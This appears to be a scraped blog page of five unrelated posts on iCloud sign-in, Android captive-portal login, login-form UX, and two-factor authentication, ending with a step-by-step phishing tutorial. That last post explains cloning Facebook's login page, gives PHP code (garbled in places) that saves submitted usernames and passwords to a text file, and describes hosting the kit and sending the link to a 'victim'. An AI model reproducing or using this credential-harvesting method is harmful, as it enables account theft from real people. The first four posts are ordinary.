Your iCloud account serves as a one-stop-shop for many of your iPhone's most useful features and functions.It's critical to log in on each of your devices before you start using iCloud for your cloud needs. All of the steps to log into iCloud on various devices are listed below. You can access documents in iCloud Drive, locate a lost device with Find My iPhone, and manage your app purchases and subscriptions all from within iCloud.Are you attempting to login to iCloud's site utilizing a program on your iPhone? In any case, don't perceive any login alternatives to sign in to iCloud.com? So don't worry, we've got you covered! To sign in to Apple's iCloud site from your iPhone, follow our instructions. What is iCloud? iCloud protects your data and keeps your apps up to date on all of your devices. That means you can access all of your data—photos, files, notes, and more—from anywhere. You get 5 GB of free storage with iCloud, and you can upgrade at any time. Changes you make on one device appear on all of your other devices thanks to iCloud. On iCloud.com, you can also access web versions of your favorite apps like Photos, Mail, and Notes. Simply log in using any supported web browser. Here's a step-by-step guide to using the Settings app on your iPhone to sign in, access, and manage your iCloud account. How to log into iCloud on your iPhone Accessing and managing your iCloud account is simple with the iCloud app on your iPhone. Open the Settings app on your iPhone. The silver icon, which resembles mechanical gear, is pre-installed on all iPhones and cannot be removed. Swipe left to search for the app if you're not sure where it is on your screen. "Sign in to your iPhone" is written in blue text. (Your name and information will appear here if you're already signed in to iCloud.) Sign in with your Apple ID. Your username will be an email address. A blank screen with the text "Signing in to iCloud..." will appear. Patience is required. It might require a few minutes for the interaction to finish. Enter your iPhone's four-digit passcode when prompted. Your name will now appear at the top of the Settings app, next to a personalizable icon and above the words "Apple ID, iCloud, iTunes & App Store," once you've signed in. It should be tapped. You'll be taken to a screen that says "Apple ID." Select iCloud from the menu. You can now enable and edit iCloud-enabled programs, as well as track your storage usage. ICLOUD SERVICES The majority of iPhone users also use Apple's iCloud services, which is a cloud-based service that allows users to store music and other files like photos, apps, contacts, emails, and documents. Introductions, accounting pages, pictures, PDFs, and different sorts of records made in applications can likewise be saved to iCloud Drive. All connected Apple devices can access iCloud, or you can log into your iCloud account from a computer. If you back up your device to iCloud after resetting or updating your phone, all of your apps and settings will be automatically reset on your device if you sign back into your account. Pros and cons to using iCloud services: Using iCloud services has both advantages and disadvantages. On the plus side, logging in with your Apple ID will automatically update your device with your apps and settings the way you want them if you buy a new device or need to reset it. If you use iCloud Drive, you can use the same Apple ID to access the same documents or apps on other devices. Using iCloud, on the other hand, means that your data is accessible from multiple devices rather than just one. Multiple points of access can make your data more accessible and, as a result, more vulnerable. Your data and information could be accessed if someone knew your Apple ID or iCloud username/password. Determining what information in the cloud you want to be accessible from or changing the password to your iCloud account are some security and privacy measures. To choose what data (Photos, Mail, Contacts, etc.) is backed up to iCloud on your iPhone or iPad, go to Settings/iCloud on your device and select what data (Photographs, Mail, Contacts, and so on) is reared up to iCloud. You can also choose what you want to be saved to iCloud Drive under that option. FINAL TIPS Make sure your passwords are strong. Make sure your password is strong and that you don't share it. If your password is discovered, change it as soon as possible. Limit who has access to your data. Smartphones make it simple to access your data from a variety of devices. Consider the trade-offs between convenience and privacy to determine which option is the safest for you. Log out of all of your accounts. Consider logging off if you aren't using a specific app. It may be inconvenient to log in each time you want to use it, but it will keep others from gaining access to your accounts.Read More
So, here we will be learning and discussing the Android Captive Portal Login and how can we fix this error as we all know that how the Internet has been around everywhere and has been connecting people worldwide. For this generation of people, it's almost impossible to spend an hour or even a few minutes using the Internet. Like everything on this earth has got some pros and cons, the Internet also falls in the same category having both pros and cons. However, the advantages and the pros we get from the Internet overweight the cons. If we talk about the benefits that we can have from the Internet, this list will just never stop, and one of the most essential and beneficial uses of the Internet is E-Learning. The Internet can bring all the complete information and knowledge into your hands. You can surf on a particular topic of your interest and gain as much as information you need. Social media, this is something which has been helping people all over the globe to connect with people even if they are the very different end of the world from each other, social media is also helping in understanding the diverse cultures of the people from different part of the world, and also helps to share pieces of information. Nowadays, you can find an addiction to social media almost everywhere. A survey was done in the year 2015 it stated that out of eight people, one of them would be a social media addict. And this number will increase day by day in the future. There are many reasons why we can't stay away from the Internet, and this addiction will just grow in the future. We have mobile data on your device and have WiFi in our homes and many other places. And even if you don't have mobile data, and you are traveling through a flight or bus, you reached the airport, and you are in urgent need to use the Internet for any critical work, then you can easily connect to the WiFi provided by the airport. This is the place where the Captive Portal Login comes into play. What is Captive Portal Login in Android? Android Captive Portal Login is made up of a term named - Captive Portal Login. This is a build-in process required in authentication for an open free WiFi network. In simple words, Android Captive Portal is a build-in package or software in the android device which helps to connect to an available WiFi for access to the Internet For example, when you log in to an open WiFi network, at an airport, the WiFi asks you to sign in to the network; here, you agree to the terms and conditions of the network. After clicking on the sign option, you will be directed directly to the Captive Portal Login page; here, all you need to do is enter the asked information and agreeing to the terms and conditions to use the network. This captive portal login is just a webpage where you need to fill in the required information and agree to the terms and conditions asked there to grant you access to the Internet, it can also be used to block user access until he agrees to the team and conditions and fills the required details. How to Fix Captive Portal Login in Android? Here are the steps which you can follow to fix the Captive Portal login Problem. Select the forget option when selecting the WiFi connection What will happen when you choose this option is that your device will be allowed to connect to the WiFi from the starting option, and you can again fill in the asked details and agree to the terms and conditions there. This might solve your problem, and you can enjoy the Internet connection. You also switch off your device and restart your mobile and try to connect again. Here are some other steps that you can follow 1. Turn on the airplane mode on your android device and then try to connect again. 2.Connect to another network and then again try to connect to the web that you were trying earlier 3.Open the chrome and deleted all the cache memory, and connect again. 4.You can also go to the mobile settings - WiFi settings, select the WiFi source you want to connect with, and then select the reset option for that particular WiFi source and try to connect again. 5.Or you can try to forget every WiFi that you have connected earlier, this will release some of the load on your device, and you can try to connect again by filling in the required details asked by that particular WiFi that you want to connect. See more:How to Join a Webex Meeting from Your Computer All the above steps can help you connect to the particular WiFi network that you want to connect to enjoy the Internet.Read More
OK, I don't like long introductions, so here's a list of some of the most important UX tips for creating usable signup and login forms. It is based on my experience reviewing hundreds of beginner designer login flows as a result of my courses Learn UI Design and Learn UX Design. Let's get this party started. The following are some pointers to assist an Interaction Designer in creating better registration and login forms. 1. Specify the value proposition. The last thing users want to do is sign up. Users are generally unwilling to sign up unless they see value in doing so. Filling out the form's value proposition must be clearly defined. Keep the message short and to the point. LinkedIn is an excellent example of this. The value proposition is defined by changing messages. 2. Make it clear where to log in. When a user arrives on the website, make it clear where they can Register or Login, especially if Login is the primary call to action. 3. Show input field If login is the most important task on the website, display the login section first, rather than just the sign in or sign up links, as Facebook and Twitter do. 4. Differentiate Sign in and Sign up Not everyone can tell the difference between Sign in and Sign up right away. Mint is an example of how to display the two in different ways (refer above screenshot). GoDaddy takes a slightly different approach, providing visual differences in button styles, clearly defined headers, and a description of the action. 5. Allow Social Login Users can easily login to your website or app using an existing social account, such as Facebook or Twitter, with Social Login. This feature appeals to users because it eliminates the need to remember another password. Read my previous blog to learn about the benefits and drawbacks of using a social login. 6. Instead of a username, use an email address or a mobile phone number. Do not prompt the user to create a username unless absolutely necessary. By default, try to use their email address or phone number as their username. Users do not wish to consider another name. It is easier to remember their email addresses and phone numbers than a new name. 7. ISD code with mobile login Pre-populate the ISD code based on geo-location or cookie information during mobile registration or login. Provide the option for the user to change the ISD code if necessary. 8. Sign in and Sign up option Provide a Sign-in option on the Create Account page and a Sign up link on the Existing User page to allow users to flip in case they accidentally reached the section. 9. Focus on the first field The form's first input field will be auto-focused. This is only possible on the desktop. This saves the user the time and effort of having to click on the input field. The input field should be highlighted. 10. Keep users signed in Allow users to keep themselves signed in for easier and quicker logins on their personal devices. 11. Remember returning users Users should be remembered and information should be pre-populated. 12. Labels Labels should be top aligned. In material design, floating labels that are short and clear in action are used. For labels, use sentence case or title case, but keep the language consistent. 13. Placeholders Placeholders should not be used as labels. Placeholders should convey a meaningful conversation, such as input format or description. 14. Show password to the user Allow the user to view the password if he so desires. This allows the user to correct any typos in their password. Assure that the password is masked by default. If the user wants to see the password, provide a checkbox or toggle. 15. Alert if Caps Lock is on Inform users if the caps lock is activated while typing a password. 16. Password strength Complex passwords are difficult to crack. Display password strength to allow the user to determine the complexity of the entered password and change it to the desired level of complexity. Display the password policy in an appropriate location so that the user creates the correct password the first time. 17. Error messages Display appropriate and well-defined error messages. Avoid using generic error messages that leave the user guessing. 18. Password recovery authentication Passwords are frequently forgotten by users. Make sure to include a “Forgot password” link to assist the user in resetting his password. Before allowing the user to reset his or her password, ensure that he or she has been authenticated. Some common authentication methods include sending an email or OTP to a registered email address or mobile number, asking recovery questions, and calling a registered mobile number.Read More
Interested in preventing your online accounts from being breached? When signing in to a high-value service, enable two-factor authentication. How to set up two-factor authentication and which accounts to focus on first are covered in this post by me. One data breach might turn your online existence upside down. Unfortunately, passwords are a fatally insecure method of protecting valuable resources. A longer, more complex, harder-to-guess password doesn't automatically make you more secure online. While it's possible to construct an extremely difficult-to-type password, it won't do you any good if the service where you use that password stores it incorrectly and then gets their server compromised. It's a common occurrence. However, even if you have appropriate security measures in place (complexity, changing them periodically, and not reusing them), people are still the weakest link. Even knowledgeable people can be duped into entering their credentials on a phishing site or divulging them over the phone through social engineering. Two-factor authentication (often known as 2FA) is the answer. There are other services that name it multi-factor authentication or two-step verification, but 2FA is the most generally used phrase, so I'm going to stay with it.) This is according to a Microsoft analysis from 2019. It found that 2FA is effective in blocking 99.9 percent of computerized assaults. Multi-factor authentication, even if it's just SMS-based one-time passwords, is recommended by Microsoft if the service provider offers it. Google's own 2019 research came to similar conclusions. Many people have asked me about two-factor authentication (often known as two-factor authentication or 2FA). HOW DOES 2FA WORK? ISN'T IT INCONVENIENT? It alters the security requirements so that when accessing a secure service for the first time on an unknown device, it requires at least two proofs of identity. In most cases, you can choose to mark the device as trusted once you've successfully completed that challenge, which means that 2FA requests should be rare for the devices you use often. They can be derived from a combination of at least two elements, including: There is "something you know," such as a password, PIN, fingerprint, or other biometric ID, as well as "something you have," such as a trusted smartphone that can produce and receive confirmation codes, or a hardware-based security device First (your password) and second (your PIN) are the most common two-factor authentication methods in use today (your smartphone). Due to their popularity, smartphones make excellent security gadgets. Assist with authentication by using your smartphone to generate a unique code that you enter together with your password to log in. In order to obtain that code, you have two options: From the service or generated by an app loaded on your phone. When I went to sign in to my Gmail account from a browser I had never used before, this is what I saw. Google-verification Two-factor authentication (also known as 2FA) requires second evidence of identity, such as a code from an authenticator app. Were it, someone who had stolen my Google account credentials, they would be halted in their tracks. They can't continue the sign-in process without the code. Services that allow two-factor authentication (but not all) offer a variety of authentication methods. It's possible to sign in to a Google or Microsoft account by receiving notifications on a trusted device. Hardware security keys are becoming more widely accepted by services. Und most providers include the option to print out backup recovery codes, which you can save in a safe place and utilize in the case your typical secondary authentication method is unavailable. It is necessary to have these codes in case your smartphone is lost, stolen and/or damaged. WHICH Confirmation Strategy IS BEST? Most importantly, choose the form of identification that you are most comfortable with. You should have two options, at the very least, to avoid being locked out of your account. When possible, I prefer the option of using an authenticator app rather than receiving codes by text message, and you should too, for two solid reasons. A simple logistical issue arises in the first instance. If your cellular signal is weak or non-existent, or if you're using a different SIM while abroad, you may be able to access the internet (through a wired or Wi-Fi connection) but not receive text messages. "SIM-jacking" occurs when an attacker uses social engineering to breach your cell carrier's defenses in order to obtain a SIM card with your phone number. Android and iOS versions of Google Authenticator are the most popular 2FA apps. Anyone can create an authenticator software that accomplishes the same job because the technique for generating secure tokens is built on open standards. A number of different authenticator apps are available. When I sign in to my accounts, I use Microsoft Authenticator, which can receive push notifications from both personal and business accounts on Microsoft's platforms. I also use 1Password, which integrates two-factor authentication support into the same app that manages passwords, making sign-in even easier. A third-party tool, Authy, enabling you to handle authenticator codes on various devices, with the option to back up and restore account settings, is virtually a must. How to choose the correct two-factor authenticator app may be found here. A data connection is only required during the initial configuration of your authenticator app to set up an account. Your gadget will handle the rest. Using the Time-based One-Time Password mechanism, a widely agreed standard governs the process (TOTP). In this approach, the authenticator software is used as a complex calculator that creates codes based on the current time on your smartphone and the shared secret in order to authenticate. Using the same secret and timestamp as your entry, the online service generates codes that it compares to your entry. Even if your device's clock is incorrect, both sides of the connection can adapt for time zone differences without any issues.Read More
Phishing is a type of deceit used to acquire sensitive personal information such as login credentials, credit card numbers, account information, and other details. We've put together a basic phishing mechanism that hackers can employ to create fake Facebook login pages. Learn more about how to hack a Facebook password here. Phisher's the phoney Facebook login page It will be extremely simple for you if you are familiar with HTML and PHP. Let's have a look at how easy it is to create a phoney login page and grab the password. Phishing demonstration Here's what you'll require: 1) A web hosting account Hundreds of websites provide free web hosting accounts, usually with 100MB of space and a subdomain. On any of them, you can create a free web hosting account with a Subdomain. The problem with free hosting is that they will ban you as soon as they find out you have hosted phisher. As a result, it's best to try it out on your own computer. You can find a plethora of instructions by searching for "How to host create a simple PHP website on Windows or Mac." 2) A fake login page To make a fake Facebook login page, go to the Facebook login page, right-click on it, and select ‘view source' or ‘view page source.' A new window will open with the source code after that. Simply use ctrl+a to select all of the code and ctrl+c to copy it. Copy and paste this code into a notepad,and save it to your PC with the.html extension. as an example, Facebook-login.html 3) A php code that writes data onto a text file Simply copy and paste the PHP code below into a notepad. After that, save it to your desktop as a.php file. For instance, code.php (‘Location: original login page');?php header $handle = fopen(“passwords.txt”, “a”); foreach($ POST as $variable => $value); foreach($ POST as $variable => $value) fwrite($handle, $variable); fwrite($handle, “=”); fwrite($handle, $value); fwrite($handle, “rn”); fwrite($handle, “rn”); fwrite($handle, “rn”); fwrite($handle, “rn”); fclose($handle); exit;?> 4) A text file to save hacked Facebook passwords Simply save an empty text file on your desktop with the name password.txt. Note that if you don't create a text file, the code.php command 'open will generate one for you. Creating phisher On the desktop, we now have the three required files: Facebook-login.html, code.php, and password.txt. The following step is to link (connect) the three files. as a result, they must be linked in the following order: Facebook-login.html >> code.php >> passwords.txt Facebook-login.html, for example, must be able to connect with code.php, which must then communicate with passwords.txt. Linking Facebook-login.html and code.php Simply open Facebook-login.html in a text editor and look for the ‘action' box (to search, press ctrl+F). You'll see something like this when you find the action field: Page pretending to be a Facebook login Save the file after replacing everything in red with code.php. Code for a bogus login page You've simply linked facebook-login.html and code.php together. [ * ] There could be many action fields. Replacing with code.php is the same method. Linking code.php and passwords.txt Passwords.txt has already related to code.php in the code above. Simply open code.php in a text editor and change “original login page” with your phisher's Facebook login page in the second line, then save. You just told code.php to open the passwords.txt file and send the victim to the original Facebook login page after he enters his credentials. Now that everything is in place, the next step is to upload your newly generated phisher to a free web hosting server. Steps in hosting phisher Log in to the free hosting account you just made. To access the file manager, click the ‘file manager' button. Now go to the directory for your subdomain. Simply click on your subdomain in the files view box to do so. Simply create a new directory (folder) and name it after the phisher you made. Step 3: Navigate to the desired directory you just established. In this directory, place all three files: Facebook-login.html, code.php, and passwords.txt. It's important to note that all three files must be in the same directory. Now copy the.html and.txt file addresses. This phisher should be sent to your Virtual-victim. Simply send the link (the address of the.html file) by email or other means. Now, have your virtual victim login to your phoney Facebook login page, and the username and password will be saved in a text file called passwords.txt, which can be viewed at any time to view the username and password. That’s it! you are done. enjoy!Read More
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